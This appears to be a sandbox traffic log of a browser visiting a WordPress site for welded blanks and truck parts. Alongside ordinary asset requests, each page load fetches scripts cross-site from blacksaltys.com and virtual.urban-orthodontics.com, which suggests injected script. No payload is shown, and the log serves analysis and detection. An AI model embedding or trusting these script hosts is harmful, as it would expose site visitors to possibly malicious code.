Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.twbcompany.com/commercial-transportation/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _ga_E694J4CV2M=GS1.2.1728299823.1.0.1728299823.0.0.0; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2021/03/typical-cab-structural.png HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/commercial-transportation/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _ga_E694J4CV2M=GS1.2.1728299823.1.0.1728299823.0.0.0; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2021/03/typical-chassis-structure-focusing-on-frame-rails.png HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/commercial-transportation/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _ga_E694J4CV2M=GS1.2.1728299823.1.0.1728299823.0.0.0; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238
Source: global traffic	HTTP traffic detected: GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1Host: blacksaltys.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/commercial-transportation/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _ga_E694J4CV2M=GS1.2.1728299823.1.0.1728299823.0.0.0; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238
Source: global traffic	HTTP traffic detected: GET /SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY= HTTP/1.1Host: virtual.urban-orthodontics.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/commercial-transportation/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _ga_E694J4CV2M=GS1.2.1728299823.1.0.1728299823.0.0.0; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2020/11/commercial-truck-header.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/commercial-transportation/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _ga_E694J4CV2M=GS1.2.1728299823.1.0.1728299823.0.0.0; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2020/11/Picture-of-truck1.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/commercial-transportation/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _ga_E694J4CV2M=GS1.2.1728299823.1.0.1728299823.0.0.0; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238
Source: global traffic	HTTP traffic detected: GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1Host: blacksaltys.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2021/03/typical-cab-structural.png HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _ga_E694J4CV2M=GS1.2.1728299823.1.0.1728299823.0.0.0; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2021/03/typical-chassis-structure-focusing-on-frame-rails.png HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _ga_E694J4CV2M=GS1.2.1728299823.1.0.1728299823.0.0.0; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2020/11/Picture-of-truck1.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _ga_E694J4CV2M=GS1.2.1728299823.1.0.1728299823.0.0.0; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2020/11/commercial-truck-header.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _ga_E694J4CV2M=GS1.2.1728299823.1.0.1728299823.0.0.0; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/images/favicons/favicon.ico HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/commercial-transportation/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299844.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/images/favicons/favicon.ico HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299844.0.0.0
Source: global traffic	HTTP traffic detected: GET /services/logistics-and-service/ HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299844.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.twbcompany.com/services/logistics-and-service/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299844.0.0.0
Source: global traffic	HTTP traffic detected: GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1Host: blacksaltys.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/services/logistics-and-service/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299844.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/services/logistics-and-service/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299844.0.0.0
Source: global traffic	HTTP traffic detected: GET /SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY= HTTP/1.1Host: virtual.urban-orthodontics.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/08/logistics-hero.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/services/logistics-and-service/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299844.0.0.0
Source: global traffic	HTTP traffic detected: GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1Host: blacksaltys.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/08/logistics-hero.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299844.0.0.0
Source: global traffic	HTTP traffic detected: GET /products/aluminum-tailor-welded-blanks/ HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299851.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299851.0.0.0
Source: global traffic	HTTP traffic detected: GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1Host: blacksaltys.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299851.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299851.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/08/generic-bg.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299851.0.0.0
